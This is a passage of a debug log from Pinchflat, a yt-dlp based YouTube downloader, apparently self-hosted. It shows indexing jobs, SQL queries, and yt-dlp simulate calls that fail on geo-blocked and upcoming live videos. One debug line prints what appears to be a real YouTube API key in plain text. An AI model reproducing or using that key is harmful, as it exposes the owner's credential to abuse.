(Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:56:07.844 [debug] QUERY OK source="settings" db=0.1ms idle=1766.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:07.844 [debug] QUERY OK source="settings" db=0.0ms idle=1751.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:07.844 [debug] Running yt-dlp command for action: get_media_attributes 15:56:07.846 [debug] QUERY OK source="settings" db=0.0ms idle=1753.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:07.846 [debug] QUERY OK source="settings" db=0.0ms idle=1753.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:07.846 [debug] QUERY OK source="settings" db=0.0ms idle=814.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:07.846 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ab/31/ab31f6c1d118682118de783f8f39682b2131422e8e7b711b6f3e9ca85a4c274f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:09.322 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ab/31/ab31f6c1d118682118de783f8f39682b2131422e8e7b711b6f3e9ca85a4c274f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:56:09.323 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:56:09.325 [debug] QUERY OK source="media_items" db=1.8ms idle=444.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 15:56:09.326 [debug] QUERY OK source="tasks" db=0.1ms idle=447.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799842, 6, ~U[2026-02-10 21:56:09Z], ~U[2026-02-10 21:56:09Z]] 15:56:09.326 [info] {"args":{"id":6},"id":3799802,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9295112,"event":"job:stop","queue_time":243079,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:12.043 [info] {"args":{"id":19},"id":3799803,"meta":{},"system_time":1770760572043834650,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:12.044 [debug] QUERY OK source="sources" db=0.1ms idle=1165.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 15:56:12.044 [debug] QUERY OK source="settings" db=0.1ms idle=1165.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.044 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:12.044 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.044 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 15:56:12.044 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.044 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:12.155 [debug] QUERY OK source="media_items" db=0.5ms idle=110.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 15:56:12.156 [debug] QUERY OK source="settings" db=0.0ms idle=111.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.156 [debug] QUERY OK source="settings" db=0.0ms idle=111.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.156 [debug] Running yt-dlp command for action: get_media_attributes 15:56:12.187 [debug] QUERY OK source="settings" db=0.0ms idle=143.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.188 [debug] QUERY OK source="settings" db=0.1ms idle=143.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.188 [debug] QUERY OK source="settings" db=0.0ms idle=32.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:12.188 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/89/77/8977557d39ae3d4daebadf9f27f78ac5dd96cd55bfbc09b52dc64c54bb36ed86.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:13.560 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/89/77/8977557d39ae3d4daebadf9f27f78ac5dd96cd55bfbc09b52dc64c54bb36ed86.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 15:56:13.560 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 15:56:13.561 [debug] QUERY OK source="settings" db=0.1ms idle=1404.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:13.561 [debug] QUERY OK source="settings" db=0.0ms idle=1373.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:13.561 [debug] Running yt-dlp command for action: get_media_attributes 15:56:13.561 [debug] QUERY OK source="settings" db=0.0ms idle=1373.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:13.561 [debug] QUERY OK source="settings" db=0.0ms idle=1373.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:13.561 [debug] QUERY OK source="settings" db=0.0ms idle=522.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:13.561 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7e/fe/7efe717b0e54c4fcd9603740b6101bf6a99117800b39f69564ecc056c8584fa1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:14.847 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7e/fe/7efe717b0e54c4fcd9603740b6101bf6a99117800b39f69564ecc056c8584fa1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 15:56:14.847 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 15:56:14.848 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1286.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 15:56:14.849 [debug] QUERY OK source="tasks" db=0.2ms idle=1287.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799843, 19, ~U[2026-02-10 21:56:14Z], ~U[2026-02-10 21:56:14Z]] 15:56:14.849 [info] {"args":{"id":19},"id":3799803,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2805667,"event":"job:stop","queue_time":619883,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:27.059 [info] {"args":{"id":30},"id":3799804,"meta":{},"system_time":1770760587059643490,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:27.059 [debug] QUERY OK source="sources" db=0.1ms idle=1181.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 15:56:27.060 [debug] QUERY OK source="settings" db=0.1ms idle=1181.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:27.060 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:27.060 [debug] QUERY OK source="settings" db=0.1ms 